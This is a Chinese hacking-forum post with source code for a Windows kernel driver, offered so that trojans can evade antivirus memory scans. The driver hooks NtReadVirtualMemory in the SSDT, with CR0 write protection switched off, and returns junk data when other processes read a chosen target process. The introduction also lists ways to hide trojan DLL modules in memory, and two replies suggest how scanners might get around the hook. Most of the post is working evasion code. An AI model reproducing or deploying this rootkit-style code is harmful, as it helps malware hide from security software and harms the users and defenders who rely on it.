信息来源:邪恶八进制信息安全团队(www.eviloctal.com
文章作者:asm(http://www.sbasm.cn)

写了个对抗扫描的东西,跟大家分享!技术含量不高,大牛飘过。
一直以来写的都是ring3代码,现在很认真的拼凑了一份山寨版的驱动代码,很久没这么认真过了。希望哪位大牛能指点一下,指出代码中可能存在BOSD的隐患。其他人就跟我一起学习吧~~

很久以来,做木马免杀一般都是文件表面免杀,内存免杀。文件免杀一般的思路是通过修改代码重,或者文件自身来做到。另外还有一种免杀方式就是隐藏你的木马,让杀软认为你的木马是不存在的,自然就达到免杀的效果了。
内存免杀其实不需要用OD来修改,有两种办法就可以,第一,隐藏内存dll木马的模块,第二,挂钩杀软扫描内存所需要的函数,一般是NtReadVirtualMemory即可到达内存免杀的效果。
隐藏内存模块,我所知道的有3种办法,第一,先给dll做一份内存拷贝,接着FreeLibrary释放原来的dll模块,再次申请和原来同样基址的内存,并还原dll即可;第二:摘链;第三:就是本文所说的挂钩NtReadVirtualMemory。有很多办法可以挂钩,这里我选择SSDT,呵呵,被人玩烂了的玩意,但是却也是相对成熟稳定的一种hook的方式,科普一下吧,毕竟还是有很多人徘徊在门外的 :)

已经尽最大努力去除硬编码了,下面是部分代码(完整代码见压缩包):
 
 
代码:
/*

web: http://www.sbasm.cn/

*/
#include <ntddk.h>
#include "struct.h"

//int pos_CreateFile;     /* 保存这些函数的服务号 */
int pos_ReadVirtualMemory;

UNICODE_STRING uProcessName;
UNICODE_STRING MyuProcessName;
ANSI_STRING aProcessName;

//特殊的值,目标进程的ID
DWORD        dwTargetProcessID;

#define MY_CONTROL_CODE   0x4021
#define IOCTL_SET_TARGET_PROCESS_ID   (ULONG)CTL_CODE( FILE_DEVICE_UNKNOWN, MY_CONTROL_CODE, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA )

//一些常量定义
#define EPROCESS_SIZE           1  
#define PEB_OFFSET              2  
#define FILE_NAME_OFFSET        3  
#define PROCESS_LINK_OFFSET     4  
#define PROCESS_ID_OFFSET       5  
#define EXIT_TIME_OFFSET        6

DWORD GetPlantformDependentInfo ( DWORD dwFlag )   
{    
        DWORD current_build;    
        DWORD ans = 0;
        
        PsGetVersion(NULL, NULL,&current_build, NULL);    
        switch ( dwFlag )   
        {    
        case EPROCESS_SIZE:    
                if (current_build == 2195) ans = 0 ;        // 2000,当前不支持2000,下同   
                if (current_build == 2600) ans = 0x25C;     // xp   
                if (current_build == 3790) ans = 0x270;     // 2003   
                break;    
        case PEB_OFFSET:    
                if (current_build == 2195)  ans = 0;    
                if (current_build == 2600)  ans = 0x1b0;    
                if (current_build == 3790)  ans = 0x1a0;   
                break;    
        case FILE_NAME_OFFSET:    
                if (current_build == 2195)  ans = 0;    
                if (current_build == 2600)  ans = 0x174;    
                if (current_build == 3790)  ans = 0x164;   
                break;    
        case PROCESS_LINK_OFFSET:    
                if (current_build == 2195)  ans = 0;    
                if (current_build == 2600)  ans = 0x088;    
                if (current_build == 3790)  ans = 0x098;   
                break;    
        case PROCESS_ID_OFFSET:    
                if (current_build == 2195)  ans = 0;    
                if (current_build == 2600)  ans = 0x084;    
                if (current_build == 3790)  ans = 0x094;   
                break;    
        case EXIT_TIME_OFFSET:    
                if (current_build == 2195)  ans = 0;    
                if (current_build == 2600)  ans = 0x078;    
                if (current_build == 3790)  ans = 0x088;   
                break;    
        }    
        return ans;    
}

/*++

函数名: HookNtReadVirtualMemory

参数:
    IN HANDLE ProcessHandle,
    IN PVOID BaseAddress,
    OUT PVOID Buffer,
    IN ULONG BufferLength,
    OUT PULONG ReturnLength OPTIONAL

功能:
隐藏保护模块的内存,如果发现有内存扫描到这块内存,则返回垃圾数据扰乱扫描过程

返回:
NTSTATUS

说明:
                //得到了进程对象的对象体,也就是进程的eprocess结构,在xp sp3下,eprocess偏移
                //+0x084 就是一个4字节的UniqueProcessId 调用一个GetPlantformDependentInfo即可获得不同版本的 UniqueProcessId

--*/

NTSTATUS
HookNtReadVirtualMemory(
                                          IN HANDLE ProcessHandle,
                                          IN PVOID BaseAddress,
                                          OUT PVOID Buffer,
                                          IN ULONG BufferLength,
                                          OUT PULONG ReturnLength OPTIONAL
                                          )
{
        NTSTATUS        ret;
        PVOID                pEprocess;   //通过进程句柄得到ID
        PVOID                pExplorer_Eprocess;  //过滤掉桌面进程explorer时用到的一个EPROCESS类型临时变量
        DWORD                dwCurrentPID;  //当前ProcessHandle句柄对应的进程号

DWORD dwProcessId;
        DWORD dwFileName;
        
        pEprocess = NULL;

dwProcessId = GetPlantformDependentInfo(PROCESS_ID_OFFSET);    
    dwFileName  = GetPlantformDependentInfo(FILE_NAME_OFFSET);

ret = ObReferenceObjectByHandle(ProcessHandle , 0, NULL, KernelMode, &pEprocess, NULL);
        if(STATUS_SUCCESS == ret)
        {
                DbgPrint("the caller ProcessName is %s\n",(PUCHAR)((BYTE*)pEprocess + dwFileName));
                dwCurrentPID = *(DWORD*)((BYTE*)pEprocess+dwProcessId);         //得到被扫描的进程的PID

if(dwCurrentPID == dwTargetProcessID)   //dwTargetProcessID                 //如果被扫描的进程PID跟预定的一样,那么就开始bypass
                {        
                        DbgPrint("call NtReadVirtualMemory!Target Process is %d.  The Caller is %d\n",dwTargetProcessID, PsGetCurrentProcessId());

if(dwTargetProcessID == (DWORD)PsGetCurrentProcessId())  //排除自己调用NtReadVirtualMemory来读取自己内存的情况
                        {
                                DbgPrint("call NtReadVirtualMemory by myself\n");
                                goto Next;
                        }
                                pExplorer_Eprocess = PsGetCurrentProcess();        //得到当前进程eprocess结构

RtlInitUnicodeString(&uProcessName,L"explorer.exe");
                                RtlInitAnsiString(&aProcessName,(PUCHAR)((BYTE*)pExplorer_Eprocess + dwFileName));
                                RtlAnsiStringToUnicodeString(&MyuProcessName,&aProcessName,TRUE);
                                DbgPrint("call NtReadVirtualMemory by %wZ ---%wZ\n",&MyuProcessName,&uProcessName);

if(RtlCompareUnicodeString(&uProcessName,&MyuProcessName, TRUE) == 0)  //不区分大小写的对比!
                                {
                                        DbgPrint("call NtReadVirtualMemory by explorer process\n"); //排除explorer调用NtReadVirtualMemory来读取自己内存的情况
                                        goto Next;
                                }
                                DbgPrint("call NtReadVirtualMemory by other process %d\n",PsGetCurrentProcessId());
                                //排除了自己对自己的内存操作,桌面进程对所关心的进程的操作之外,其他的一切进程对多关心的进程进行操作,一律pass
                                ret = ((NTREADVIRTUALMEMORY)(OldNtReadVirtualMemory))(
                                        ProcessHandle,
                                        BaseAddress,
                                        L"ffffffffff",      //自定义的垃圾数据
                                        BufferLength,
                                        ReturnLength
                                        );
                                return ret;
                }
        }
Next:
        ret = ((NTREADVIRTUALMEMORY)(OldNtReadVirtualMemory))(
                ProcessHandle,
                BaseAddress,
                Buffer,
                BufferLength,
                ReturnLength
                );
        return ret;
}
/////////////////////////////////////////////////////////////////         --          --     
//+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++//     --     -      -     -- 
//+                                                           +//     --      -   -       -- 
//+          下面2个函数用于得到部分SDT函数的地址             +//      --       -        --  
//+                                                           +//       -     sudami     -   
//+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++//        --            --    
/////////////////////////////////////////////////////////////////          --        --  
//                                                                           --    --
//                                                                                        --
DWORD GetDllFunctionAddress (
                                           char* lpFunctionName, 
                                           PUNICODE_STRING pDllName
                                           )
                                           /*++

逆向: sudami  08/02/28

参数:
                                           lpFunctionName - 函数名称
                                           pDllName - 要映射的模块名称

功能 : 
                                           把给定的模块映射到内存,读取其EAT,得到Zw系列函数地址,还在R3中,

1.  映射ntdll.dll到内存-->ZwMapViewOfSection.
                                           2.  搜索其EAT, 得到 ZwXxxx的地址p
                                           3.  p + 1 处便是ntdll.dll 转入ntoskrnl.exe的服务号. 
                                           4.  NtXxxx 的地址 就可以通过这个服务号 在KeServiceDescriptorTable中取出
                                           5. 用你的fake函数替换掉即可.

--*/
{
        HANDLE hThread, hSection, hFile, hMod;
        SECTION_IMAGE_INFORMATION sii;
        IMAGE_DOS_HEADER* dosheader;
        IMAGE_OPTIONAL_HEADER* opthdr;
        IMAGE_EXPORT_DIRECTORY* pExportTable;
        DWORD* arrayOfFunctionAddresses;
        DWORD* arrayOfFunctionNames;
        WORD* arrayOfFunctionOrdinals;
        DWORD functionOrdinal;
        DWORD Base, x, functionAddress;
        char* functionName;
        STRING ntFunctionName, ntFunctionNameSearch;
        PVOID BaseAddress = NULL;
        SIZE_T size=0;

OBJECT_ATTRIBUTES oa = {sizeof oa, 0, pDllName, OBJ_CASE_INSENSITIVE};

IO_STATUS_BLOCK iosb;

//_asm int 3;
        ZwOpenFile(&hFile, FILE_EXECUTE | SYNCHRONIZE, &oa, &iosb, FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT);

oa.ObjectName = 0;

ZwCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, 0,PAGE_EXECUTE, SEC_IMAGE, hFile);

ZwMapViewOfSection(hSection, NtCurrentProcess(), &BaseAddress, 0, 1000, 0, &size, (SECTION_INHERIT)1, MEM_TOP_DOWN, PAGE_READWRITE);

ZwClose(hFile);

hMod = BaseAddress;

dosheader = (IMAGE_DOS_HEADER *)hMod;

opthdr =(IMAGE_OPTIONAL_HEADER *) ((BYTE*)hMod+dosheader->e_lfanew+24);

pExportTable =(IMAGE_EXPORT_DIRECTORY*)((BYTE*) hMod + opthdr->DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT]. VirtualAddress);

arrayOfFunctionAddresses = (DWORD*)( (BYTE*)hMod + pExportTable->AddressOfFunctions);

arrayOfFunctionNames = (DWORD*)( (BYTE*)hMod + pExportTable->AddressOfNames);

arrayOfFunctionOrdinals = (WORD*)( (BYTE*)hMod + pExportTable->AddressOfNameOrdinals);

Base = pExportTable->Base;

RtlInitString(&ntFunctionNameSearch, lpFunctionName);

for(x = 0; x < pExportTable->NumberOfFunctions; x++) {
                functionName = (char*)( (BYTE*)hMod + arrayOfFunctionNames[x]);

RtlInitString(&ntFunctionName, functionName);

functionOrdinal = arrayOfFunctionOrdinals[x] + Base - 1; 
                functionAddress = (DWORD)( (BYTE*)hMod + arrayOfFunctionAddresses[functionOrdinal]);
                if (RtlCompareString(&ntFunctionName, &ntFunctionNameSearch, TRUE) == 0) {
                        ZwClose(hSection);
                        return functionAddress;
                }
        }

ZwClose(hSection);
        return 0;
}

NTSTATUS
DispatchCreate(
        IN PDEVICE_OBJECT                DeviceObject,
        IN PIRP                                        Irp
        )
{
        NTSTATUS status = STATUS_SUCCESS;

Irp->IoStatus.Information = 0;

//dprintf("[KsBinSword] IRP_MJ_CREATE\n");

Irp->IoStatus.Status = status;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);

return status;
}

NTSTATUS
DispatchClose(
        IN PDEVICE_OBJECT                DeviceObject,
        IN PIRP                                        Irp
        )
{
        NTSTATUS status = STATUS_SUCCESS;
    //DbgBreakPoint();
    Irp->IoStatus.Information = 0;

//dprintf("[KsBinSword] IRP_MJ_CLOSE\n");

Irp->IoStatus.Status = status;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);

return status;
}

NTSTATUS
DispatchDeviceControl(
        IN PDEVICE_OBJECT                DeviceObject,
        IN PIRP                                        irp
        )
{
         PIO_STACK_LOCATION irpStack;
    PVOID              InputBuffer;                //如果用到的话,会指向输入缓冲区
    PVOID              OutputBuffer;        //同上,输出缓冲区
    ULONG              IoControlCode;        //控制码
        DWORD                           dwOutBufferLen;        //输出缓冲区长度
        DWORD                           dwInBufferLen;        //输入缓冲区长度

NTSTATUS           ntstatus;

ntstatus = irp->IoStatus.Status = STATUS_SUCCESS;
    irp->IoStatus.Information = 0;

irpStack = IoGetCurrentIrpStackLocation( irp ); //得到堆栈指针
        //控制码
    IoControlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;

//控制码操作
    switch ( IoControlCode ) 
        {        
                //传递目标进程ID给驱动,用户层给驱动数据
                case IOCTL_SET_TARGET_PROCESS_ID:        //这里需要用到r3的输入,即进程ID号
                                //得到输入
                                InputBuffer = irp->AssociatedIrp.SystemBuffer;
                                dwInBufferLen = irpStack->Parameters.DeviceIoControl.InputBufferLength;
                                if(dwInBufferLen != sizeof(DWORD))        //输入的肯定是个DWORD
                                {        DbgPrint("IOCTL_SET_TARGET_PROCESS_ID error\n");
                                        break;
                                }
                                dwTargetProcessID = *(PULONG)InputBuffer;  //好了,应该这样就得到ID号了
                                break;
                default:        
                        DbgPrint("no such IOCODE\n");
                        irp->IoStatus.Status = STATUS_INVALID_DEVICE_REQUEST;
                        break;
        }

ntstatus = irp->IoStatus.Status;

IoCompleteRequest( irp, IO_NO_INCREMENT );

return ntstatus;
}
// 驱动入口
NTSTATUS DriverEntry( IN PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath )
{
        NTSTATUS ntStatus = STATUS_SUCCESS;
    PDEVICE_OBJECT Device;
    UNICODE_STRING DeviceName, DeviceLink;  //设备名,符号链接名

DbgPrint("[MyDriver] DriverEntry\n");

RtlInitUnicodeString(&DeviceName, L"\\Device\\MyDriver");         //初始化设备名
    RtlInitUnicodeString(&DeviceLink, L"\\DosDevices\\MyDriver");  //初始化符号链接名

/* IoCreateDevice 生成设备对象 */
    ntStatus = IoCreateDevice(DriverObject,         //生成设备的驱动对象
                              0,                    //设备扩展区内存大小
                              &DeviceName,          //设备名,\Device\MyDriver
                              FILE_DEVICE_UNKNOWN,  //设备类型
                              0,                    //填写0即可
                              FALSE,                //必须为FALSE
                              &Device);             //设备对象指针返回到DeviceObject中
    if (!NT_SUCCESS(ntStatus))
    {
        DbgPrint("[MyDriver] IoCreateDevice FALSE: %.8X\n", ntStatus);
        return ntStatus;  //生成失败就返回
    }
    else
        DbgPrint("[MyDriver] IoCreateDevice SUCCESS\n");

/* IoCreateSymbolicLink 生成符号链接 */
    ntStatus = IoCreateSymbolicLink(&DeviceLink, &DeviceName);
    if (!NT_SUCCESS(ntStatus))
    {
        DbgPrint("[MyDriver] IoCreateSymbolicLink FALSE: %.8X\n", ntStatus);
        IoDeleteDevice(Device);  //删除设备
        return ntStatus;
    }
    else
        DbgPrint("[MyDriver] IoCreateSymbolicLink SUCCESS\n");

Device->Flags &= ~DO_DEVICE_INITIALIZING;  //设备初始化完成标记

DriverObject->MajorFunction[IRP_MJ_CREATE]         = DispatchCreate;
    DriverObject->MajorFunction[IRP_MJ_CLOSE]          = DispatchClose;
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DispatchDeviceControl;
    DriverObject->DriverUnload                         = OnUnload;

Hook();    //SSDT hook
    return ntStatus;
}
// 驱动卸载
VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
        UNICODE_STRING dosDeviceName;

Unhook();

RtlInitUnicodeString(&dosDeviceName, L"\\DosDevices\\MyDriver");

IoDeleteSymbolicLink(&dosDeviceName);

if (DriverObject->DeviceObject != NULL)
    {
        IoDeleteDevice(DriverObject->DeviceObject);  //删除设备
    }
}

//   此处修改SSDT中的NtCreateFile服务地址
VOID Hook()
{
        UNICODE_STRING dllName;
        DWORD          functionAddress;
        int            position;

RtlInitUnicodeString( &dllName, L"\\Device\\HarddiskVolume1\\Windows\\System32\\ntdll.dll" );

//获取NtReadVirtualMemory的服务号完毕!
        functionAddress = GetDllFunctionAddress("NtReadVirtualMemory", &dllName);
        position        = *((WORD*)( functionAddress + 1 ));
        pos_ReadVirtualMemory  = position;
        //>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

OldNtReadVirtualMemory = (NTREADVIRTUALMEMORY) (*(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase + pos_ReadVirtualMemory));  //得到NtReadVirtualMemory函数的原始地址
        DbgPrint( "Address of Real OldNtReadVirtualMemory: 0x%08X\n", OldNtReadVirtualMemory );

// 去掉内存保护
        __asm
        {
                cli
                        mov     eax, cr0
                        and     eax, not 10000h
                        mov     cr0, eax
        }

(NTREADVIRTUALMEMORY) (*(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase + pos_ReadVirtualMemory)) = HookNtReadVirtualMemory; //SSDT HOOK NtReadVirtualMemory
        DbgPrint(" Address of HookNtReadVirtualMemory: 0x%08X\n", HookNtReadVirtualMemory );

// 恢复内存保护
        __asm
        {
                mov     eax, cr0
                        or     eax, 10000h
                        mov     cr0, eax
                        sti
        }
}

//////////////////////////////////////////////////////
VOID Unhook()
{
        __asm
        {
                cli
                        mov     eax, cr0
                        and     eax, not 10000h
                        mov     cr0, eax
        }

// 还原SSDT
        (NTREADVIRTUALMEMORY) (*(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase + pos_ReadVirtualMemory)) = OldNtReadVirtualMemory;
        __asm
        {
                mov     eax, cr0
                        or     eax, 10000h
                        mov     cr0, eax
                        sti
        }
        DbgPrint("Unhook");
}

PS:已经很久没像以前那样有时间写点小东西跟大家分享了

 
2楼 sudami
很用心,思路简单明了. 
一点儿见解:
杀毒软件一般是在驱动中attach到指定进程直接读内存的,不需要调用Nt*系列的科普函数; 
好多软件是事先保存SSDT的原始地址到全局变量中,再进行调用(eg:微点).
 
3楼 grayfox
比较PID不保险啊,+1 +2 +3就绕过了
 
 
 
 
 

hook NtReadVirtualMemory干扰杀软扫描的更多相关文章

  1. 通过DNS传输后门来绕过杀软

    前言 在本篇文章里,我想解释怎么样不使用加密数据的方法也能绕过杀软,同时我也想在github上分享源代码.https://github.com/DamonMohammadbagher/NativePa ...

  2. [转载] Android逃逸技术汇编

    本文转载自: http://blogs.360.cn/360mobile/2016/10/24/android_escape/ 摘    要 传统逃逸技术涉及网络攻防和病毒分析两大领域,网络攻防领域涉 ...

  3. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  4. 2018-2019-2 网络对抗技术 20165228 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165228 Exp3 免杀原理与实践 免杀 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. 要做好免杀,就时清楚杀毒软件( ...

  5. 20164301 Exp4 恶意代码分析

    Exp4 恶意代码分析 实验目标 1.是监控你自己系统的运行状态,看有没有可疑的程序在运行.  2.是分析一个恶意软件,就分析Exp2或Exp3中生成后门软件:分析工具尽量使用原生指令或sysinte ...

  6. 20155312 张竞予 Exp3 免杀原理与实践

    Exp3 免杀原理与实践 目录 基础问题回答 (1)杀软是如何检测出恶意代码的? (2)免杀是做什么? (3)免杀的基本方法有哪些? 实验总结与体会 实践过程记录 正确使用msf编码器,msfveno ...

  7. 【360图书馆】插入U盘自动攻击:BadUSB原理与实现

    插入U盘自动攻击:BadUSB原理与实现       漏洞背景 “BadUSB”是今年计算机安全领域的热门话题之一,该漏洞由Karsten Nohl和Jakob Lell共同发现,并在今年的Black ...

  8. Nmap使用指南

    一.目标指定 1.CIDR标志位 192.168.1.0/24 2.指定范围 192.168.1.1-255 192.168.1-255.1(任意位置) 3.IPv6地址只能用规范的IPv6地址或主机 ...

  9. 2018-2019-2 网络对抗技术 20165322 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165322 Exp3 免杀原理与实践 目录 实验内容与步骤 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

随机推荐

  1. 王者参考jar包

  2. java反射机制简单介绍

    1.字节码.所谓的字节码就是当java虚拟机载入某个类的对象时,首先须要将硬盘中该类的源码编译成class文件的二进制代码(字节码),然后将class文件的字节码载入到内存中,之后再创建该类的对象 2 ...

  3. google支付回调验证

    原文链接: https://my.oschina.net/lemonzone2010/blog/398736 Google支付问题 20150218,挂机的日本服务器出现google支付被刷单现象,虽 ...

  4. (转)SQL查询案例:多行转换为一行

    原文:http://www.cnblogs.com/sammon/archive/2012/05/10/2494362.html 测试表与测试数据 CREATE TABLE TestTitle ( n ...

  5. [转]Hamcrest使用方法实例

    assertThat方法需要使用hamcrest的匹配方法: 示例 assertThat( n, allOf( greaterThan(1), lessThan(15) ) ); assertThat ...

  6. iOS: 向Github的README.md里添加图片

    我们将项目上传到Github上开源供大家使用,可是,有时只是在READEME.md中做一些文字说明并不直观,如果能给上演示的截图是不是更能把功能展示的一目了然呢. 不费话了,直接上步骤: 第一步:首先 ...

  7. iOS:分组的表格视图UITableView,可以折叠和展开

    虽然表格视图可以分组,但是如果分组后,每一行的内容太多,往后翻看起来比较的麻烦.为了解决这个麻烦,可以将分组的行折叠和展开.折叠时,行内容就会隐藏起来:展开时,行内容就会显示出来. 折叠时: 展开后: ...

  8. 关于一道面试题,使用C#实现字符串反转算法

    关于一道面试题,使用C#实现字符串反转算法. 题目见http://student.csdn.net/space.php?do=question&ac=detail&qid=490 详细 ...

  9. Dialog 样式 主题 标题 背景 使用【总结】

    最重要的是这两行代码 dialog.requestWindowFeature(Window.FEATURE_NO_TITLE);//设置Dialog没有标题,需在setContentView之前设置 ...

  10. Mysql优化与使用集锦

    MyISAM的读性能是比Innodb强 MyISAM的索引和数据是分开的,并且索引是有压缩的 Innodb是索引和数据是紧密捆绑的,没有使用压缩从而会造成Innodb比MyISAM体积庞大不小 MyI ...